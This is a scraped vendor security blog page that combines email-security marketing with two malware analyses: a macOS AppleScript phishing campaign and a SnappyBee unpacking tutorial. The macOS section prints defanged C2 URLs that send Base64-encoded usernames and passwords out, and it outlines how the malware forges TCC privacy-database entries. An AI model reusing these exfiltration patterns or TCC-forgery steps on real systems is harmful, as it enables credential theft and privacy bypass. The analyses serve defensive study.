Por qué los enfoques de seguridad del e-mail centrados en ataques no pueden hacer frente a las amenazas modernas.
Despite evolving email threats, many organizations still rely on SEGs or outdated, attack-focused methods. These approaches can’t counter advanced, AI-driven attacks. The solution? Business-centric email security that understands users and inbox behavior, not just threats.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email
Share
29
May 2025
What’s the problem with an attack-centric mindset?
For decades, traditional email security strategies have been built around an attack-centric mindset. Secure Email Gateways (SEGs) and other legacy solutions operate on the principle of identifying and blocking known threats. These systems rely heavily on predefined threat intelligence – blacklists, malware signatures, and reputation-based analysis – to filter out malicious content before it reaches the inbox.
While this approach was sufficient when email threats were relatively static and signature-based, it’s increasingly ineffective against the sophistication of modern attacks. Techniques like spear phishing, business email compromise (BEC), and supply chain attacks often bypass traditional SEG defenses because they lack obvious malicious indicators. Instead, they leverage social engineering, look-alike domains, and finely tuned spoofing tactics that are designed to evade detection.
The challenge extends beyond just legacy SEGs. Many modern email security providers have inherited the same attack-centric principles, even if they've reimagined the technology stack. While some vendors have shifted to API-based deployments and incorporated AI to automate pattern recognition, the underlying approach remains the same: hunting for threats based on known indicators. This methodology, though it’s undergone modernization using AI, still leaves gaps when it comes to novel, hyper-targeted threats that manipulate user behavior rather than deploy predictable malicious signatures. Attack-centric security will always remain one step behind the attacker.
By the way, native email security already covers the basics
One of the most overlooked realities in email security is that native solutions like Microsoft 365’s built-in security already handle much of the foundational work of attack-centric protection. Through advanced threat intelligence, anti-phishing measures, and malware detection, Microsoft 365 actively scans incoming emails for known threats, using global telemetry to identify patterns and block suspicious content before it even reaches the user’s inbox.
This means that for many organizations, a baseline level of protection against more obvious, signature-based attacks is already in place – but many are still disabling these protections in favour of another attack-centric solution. By layering another attack-centric solution on top, they are effectively duplicating efforts without enhancing their security posture. This overlap can lead to unnecessary complexity, higher costs, and a false sense of enhanced protection when in reality, it’s more of the same.
Rather than duplicating attack-centric protections, the real opportunity lies in addressing the gaps that remain: the threats that are specifically crafted to evade traditional detection methods. This is where a business-centric approach becomes indispensable, complementing the foundational security that’s already built into your infrastructure.
Introducing… the business-centric approach
To effectively defend against advanced threats, organizations need to adopt a business-centric approach to email security. Unlike attack-centric models that hunt for known threats, business-centric security focuses on understanding the typical behaviors, relationships, and communication patterns within your organization. Rather than solely reacting to threats as they are identified, this model continuously learns what “normal” looks like for each user and each inbox.
By establishing a baseline of expected behaviors, business-centric solutions can rapidly detect anomalies that suggest compromise, such as sudden changes in sending patterns, unusual login locations, or subtle shifts in communication tone. This proactive detection method is especially powerful against spear phishing, business email compromise (BEC), and supply chain attacks that are engineered to bypass static defenses. This approach also scales with your organization, learning and adapting as new users are onboarded, communication patterns evolve, and external partners are added.
In an era where AI-driven threats are becoming the norm, having email security that knows your users and inboxes better than the attacker does is a critical advantage.
Why native + business-centric email security is the winning formula
By pairing native security with a business-centric model, organizations can cover the full spectrum of threats – from signature-based malware to sophisticated, socially engineered attacks. Microsoft 365’s in-built security manages the foundational risks, while business-centric defense identifies subtle anomalies and targeted threats that legacy approaches miss.
Layering Darktrace on top of your native Microsoft security eliminates duplicate capabilities, costs and workflows without reducing functionality
Rather than layering redundant attack-centric solutions on top of existing protections, the future of email security lies in leveraging what’s already in place and building on it with smarter, behavior-based detection. The Swiss Cheese Model is a useful one to refer to here: by acknowledging that no single defense can offer complete protection, layering defenses that plug each other’s gaps – like slices of Swiss cheese – becomes critical.
This combination also allows security teams to focus their efforts more effectively. With native solutions catching broad-based, known threats, the business-centric layer can prioritize real anomalies, minimizing false positives and accelerating response times. Organizations benefit from reduced overlap, streamlined costs, and a stronger overall security posture.
Download the full guide to take the first step towards achieving your next-generation security stack.
[related-resource]
Replacing Your SEG: A Step-by-Step Guide
A practical guide for CISOs for replacing outdated SEGs with AI-driven email security, optimized for Microsoft 365.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Why Organizations are Moving to Label-free, Behavioral DLP for Outbound Email
Modern data loss doesn’t always look like a regex match. It can look like everyday communication slightly out of context. Here’s how a domain specific language model paired with behavioral learning protects labeled and unlabeled data without slowing business down.
Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace
During a customer trial of Darktrace / EMAIL and Darktrace / IDENTITY, Darktrace detected an adversary-in-the-middle (AiTM) attack that compromised a user’s Office 365 account via a business email compromise (BEC) phishing email. Following the breach, the compromised account was used to launch both internal and external phishing campaigns.
How Darktrace is ending email security silos with new capabilities in cross-domain detection, DLP, and native Microsoft integrations
Darktrace is delivering a major evolution in email security, uniting true AI-powered cross-domain detection, label-free behavioral DLP, and Microsoft-native automation – to catch the 17% of threats that SEGs miss.
AppleScript Abuse: Unpacking a macOS Phishing Campaign
Introduction
Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.
The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.
Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].
Technical analysis
The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.
Figure 1: The AppleScript header prompting execution of the script.
Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.
Figure 2: Curl request to receive the next stage.
This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.
The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].
Figure 3: Fake dialog prompt for system password.
The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.
Figure 4: Requirements gathered on trusted binary.
Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, ScriptEditor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]
To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.
After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:
Full disk access
Screen recording
Accessibility
Camera
Apple Events
Input monitoring
The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.
Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.
Figure 7: Snippet of decoded Base64 response.
A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:
/controller.php?req=instd
/controller.php?req=tell
/controller.php?req=skip
These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.
Figure 8: LaunchAgent patterns to be replaced with victim information.
The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.
Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.
Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met. However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.
Conclusion
This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.
Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections. These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.
Credit to Tara Gould (Malware Research Lead) Edited by Ryan Traill (Analyst Content Lead)
The aim of this blog is to be an educational resource, documenting how an analyst can perform malware analysis techniques such as unpacking. This blog will demonstrate the malware analysis process against well-known malware, in this case SnappyBee.
SnappyBee (also known as Deed RAT) is a modular backdoor that has been previously attributed to China-linked cyber espionage group Salt Typhoon, also known as Earth Estries [1] [2]. The malware was first publicly documented by TrendMicro in November 2024 as part of their investigation into long running campaigns targeting various industries and governments by China-linked threat groups.
In these campaigns, SnappyBee is deployed post-compromise, after the attacker has already obtained access to a customer's system, and is used to establish long-term persistence as well as deploying further malware such as Cobalt Strike and the Demodex rootkit.
To decrease the chance of detection, SnappyBee uses a custom packing routine. Packing is a common technique used by malware to obscure its true payload by hiding it and then stealthily loading and executing it at runtime. This hinders analysis and helps the malware evade detection, especially during static analysis by both human analysts and anti-malware services.
This blog is a practical guide on how an analyst can unpack and analyze SnappyBee, while also learning the necessary skills to triage other malware samples from advanced threat groups.
First principles
Packing is not a new technique, and threat actors have generally converged on a standard approach. Packed binaries typically feature two main components: the packed data and an unpacking stub, also called a loader, to unpack and run the data.
Typically, malware developers insert a large blob of unreadable data inside an executable, such as in the .rodata section. This data blob is the true payload of the malware, but it has been put through a process such as encryption, compression, or another form of manipulation to render it unreadable. Sometimes, this data blob is instead shipped in a different file, such as a .dat file, or a fake image. When this happens, the main loader has to read this using a syscall, which can be useful for analysis as syscalls can be easily identified, even in heavily obfuscated binaries.
In the main executable, malware developers will typically include an unpacking stub that takes the data blob, performs one or more operations on it, and then triggers its execution. In most samples, the decoded payload data is loaded into a newly allocated memory region, which will then be marked as executable and executed. In other cases, the decoded data is instead dropped into a new executable on disk and run, but this is less common as it increases the likelihood of detection.
Finding the unpacking routine
The first stage of analysis is uncovering the unpacking routine so it can be reverse engineered. There are several ways to approach this, but it is traditionally first triaged via static analysis on the initial stages available to the analyst.
SnappyBee consists of two components that can be analyzed:
A Dynamic-link Library (DLL) that acts as a loader, responsible for unpacking the malicious code
A data file shipped alongside the DLL, which contains the encrypted malicious code
Additionally, SnappyBee includes a legitimate signed executable that is vulnerable to DLL side-loading. This means that when the executable is run, it will inadvertently load SnappyBee’s DLL instead of the legitimate one it expects. This allows SnappyBee to appear more legitimate to antivirus solutions.
The first stage of analysis is performing static analysis of the DLL. This can be done by opening the DLL within a disassembler such as IDA Pro. Upon opening the DLL, IDA will display the DllMain function, which is the malware’s initial entry point and the first code executed when the DLL is loaded.
Figure 1: The DllMain function
First, the function checks if the variable fdwReason is set to 1, and exits if it is not. This variable is set by Windows to indicate why the DLL was loaded. According to Microsoft Developer Network (MSDN), a value of 1 corresponds to DLL_PROCESS_ATTACH, meaning “The DLL is being loaded into the virtual address space of the current process as a result of the process starting up or as a result of a call to LoadLibrary” [3]. Since SnappyBee is known to use DLL sideloading for execution, DLL_PROCESS_ATTACH is the expected value when the legitimate executable loads the malicious DLL.
SnappyBee then uses the GetModule and GetProcAddress to dynamically resolve the address of the VirtualProtect in kernel32 and StartServiceCtrlDispatcherW in advapi32. Resolving these dynamically at runtime prevents them from showing up as a static import for the module, which can help evade detection by anti-malware solutions. Different regions of memory have different permissions to control what they can be used for, with the main ones being read, write, and execute. VirtualProtect is a function that changes the permissions of a given memory region.
SnappyBee then uses VirtualProtect to set the memory region containing the code for the StartServiceCtrlDispatcherW function as writable. It then inserts a jump instruction at the start of this function, redirecting the control flow to one of the SnappyBee DLL’s other functions, and then restores the old permissions.
In practice, this means when the legitimate executable calls StartServiceCtrlDispatcherW, it will immediately hand execution back to SnappyBee. Meanwhile, the call stack now appears more legitimate to outside observers such as antimalware solutions.
The hooked-in function then reads the data file that is shipped with SnappyBee and loads it into a new memory allocation. This pattern of loading the file into memory likely means it is responsible for unpacking the next stage.
Figure 2: The start of the unpacking routine that reads in dbindex.dat.
SnappyBee then proceeds to decrypt the memory allocation and execute the code.
Figure 3: The memory decryption routine.
This section may look complex, however it is fairly straight forward. Firstly, it uses memset to zero out a stack variable, which will be used to store the decryption key. It then uses the first 16 bytes of the data file as a decryption key to initialize the context from.
SnappyBee then calls the mbed_tls_arc4_crypt function, which is a function from the mbedtls library. Documentation for this function can be found online and can be referenced to better understand what each of the arguments mean [4].
Figure 4: The documentation for mbedtls_arc4_ crypt.
Comparing the decompilation with the documentation, the arguments SnappyBee passes to the function can be decoded as:
The context derived from 16-byte key at the start of the data is passed in as the context in the first parameter
The file size minus 16 bytes (to account for the key at the start of the file) is the length of the data to be decrypted
A pointer to the file contents in memory, plus 16 bytes to skip the key, is used as the input
A pointer to a new memory allocation obtained from VirtualAlloc is used as the output
So, putting it all together, it can be concluded that SnappyBee uses the first 16 bytes as the key to decrypt the data that follows , writing the output into the allocated memory region.
SnappyBee then calls VirtualProtect to set the decrypted memory region as Read+Execute, and subsequently executes the code at the memory pointer. This is clearly where the unpacked code containing the next stage will be placed.
Unpacking the malware
Understanding how the unpacking routine works is the first step. The next step is obtaining the actual code, which cannot be achieved through static analysis alone.
There are two viable methods to retrieve the next stage. The first method is implementing the unpacking routine from scratch in a language like Python and running it against the data file.
This is straightforward in this case, as the unpacking routine in relatively simple and would not require much effort to re-implement. However, many unpacking routines are far more complex, which leads to the second method: allowing the malware to unpack itself by debugging it and then capturing the result. This is the approach many analysts take to unpacking, and the following will document this method to unpack SnappyBee.
As SnappyBee is 32-bit Windows malware, debugging can be performed using x86dbg in a Windows sandbox environment to debug SnappyBee. It is essential this sandbox is configured correctly, because any mistake during debugging could result in executing malicious code, which could have serious consequences.
Before debugging, it is necessary to disable the DYNAMIC_BASE flag on the DLL using a tool such as setdllcharacteristics. This will stop ASLR from randomizing the memory addresses each time the malware runs and ensures that it matches the addresses observed during static analysis.
The first place to set a breakpoint is DllMain, as this is the start of the malicious code and the logical place to pause before proceeding. Using IDA, the functions address can be determined; in this case, it is at offset 10002DB0. This can be used in the Goto (CTRL+G) dialog to jump to the offset and place a breakpoint. Note that the “Run to user code” button may need to be pressed if the DLL has not yet been loaded by x32dbg, as it spawns a small process to load the DLL as DLLs cannot be executed directly.
The program can then run until the breakpoint, at which point the program will pause and code recognizable from static analysis can be observed.
Figure 5: The x32dbg dissassembly listing forDllMain.
In the previous section, this function was noted as responsible for setting up a hook, and in the disassembly listing the hook address can be seen being loaded at offset 10002E1C. It is not necessary to go through the whole hooking process, because only the function that gets hooked in needs to be run. This function will not be naturally invoked as the DLL is being loaded directly rather than via sideloading as it expects. To work around this, the Extended Instruction Pointer (EIP) register can be manipulated to point to the start of the hook function instead, which will cause it to run instead of the DllMain function.
To update EIP, the CRTL+G dialog can again be used to jump to the hook function address (10002B50), and then the EIP register can be set to this address by right clicking the first instruction and selecting “Set EIP here”. This will make the hook function code run next.
Figure 6: The start of the hookedin-in function
Once in this function, there are a few addresses where breakpoints should be set in order to inspect the state of the program at critical points in the unpacking process. These are:
- 10002C93, which allocates the memory for the data file and final code
- 10002D2D, which decrypts the memory
- 10002D81, which runs the unpacked code
Setting these can be done by pressing the dot next to the instruction listing, or via the CTRL+G Goto menu.
At the first breakpoint, the call to VirtualAlloc will be executed. The function returns the memory address of the created memory region, which is stored in the EAX register. In this case, the region was allocated at address 00700000.
Figure 7: The result of the VirtualAlloc call.
It is possible to right click the address and press “Follow in dump” to pin the contents of the memory to the lower pane, which makes it easy to monitor the region as the unpacking process continues.
Figure 8: The allocated memory region shown in x32dbg’s dump.
Single-stepping through the application from this point eventually reaches the call to ReadFile, which loads the file into the memory region.
Figure 9: The allocated memory region after the file is read into it, showing high entropy data.
The program can then be allowed to run until the next breakpoint, which after single-stepping will execute the call to mbedtls_arc4_crypt to decrypt the memory. At this point, the data in the dump will have changed.
Figure 10: The same memory region after the decryption is run, showing lower entropy data.
Right-clicking in the dump and selecting "Disassembly” will disassemble the data. This yields valid shell code, indicating that the unpacking succeeded, whereas corrupt or random data would be expected if the unpacking had failed.
Figure 11: The disassembly view of the allocated memory.
Right-clicking and selecting “Follow in memory map” will show the memory allocation under the memory map view. Right-clicking this then provides an option to dump the entire memory block to file.
Figure 12: Saving the allocated memory region.
This dump can then be opened in IDA, enabling further static analysis of the shellcode. Reviewing the shellcode, it becomes clear that it performs another layer of unpacking.
As the debugger is already running, the sample can be allowed to execute up to the final breakpoint that was set on the call to the unpacked shellcode. Stepping into this call will then allow debugging of the new shellcode.
The simplest way to proceed is to single-step through the code, pausing on each call instruction to consider its purpose. Eventually, a call instruction that points to one of the memory regions that were assigned will be reached, which will contain the next layer of unpacked code. Using the same disassembly technique as before, it can be confirmed that this is more unpacked shellcode.
Figure 13: The unpacked shellcode’s call to RDI, which points to more unpacked shellcode. Note this screenshot depicts the 64-bit variant of SnappyBee instead of 32-bit, however the theory is the same.
Once again, this can be dumped out and analyzed further in IDA. In this case, it is the final payload used by the SnappyBee malware.
Conclusion
Unpacking remains one of the most common anti-analysis techniques and is a feature of most sophisticated malware from threat groups. This technique of in-memory decryption reduces the forensic “surface area” of the malware, helping it to evade detection from anti-malware solutions. This blog walks through one such example and provides practical knowledge on how to unpack malware for deeper analysis.
In addition, this blog has detailed several other techniques used by threat actors to evade analysis, such as DLL sideloading to execute code without arising suspicion, dynamic API resolving to bypass static heuristics, and multiple nested stages to make analysis challenging.
Malware such as SnappyBee demonstrates a continued shift towards highly modular and low-friction malware toolkits that can be reused across many intrusions and campaigns. It remains vital for security teams to maintain the ability to combat the techniques seen in these toolkits when responding to infections.
While the technical details of these techniques are primarily important to analysts, the outcomes of this work directly affect how a Security Operations Centre (SOC) operates at scale. Without the technical capability to reliably unpack and observe these samples, organizations are forced to respond without the full picture.
The techniques demonstrated here help close that gap. This enables security teams to reduce dwell time by understanding the exact mechanisms of a sample earlier, improve detection quality with behavior-based indicators rather than relying on hash-based detections, and increase confidence in response decisions when determining impact.
Credit to Nathaniel Bill (Malware Research Engineer) Edited by Ryan Traill (Analyst Content Lead)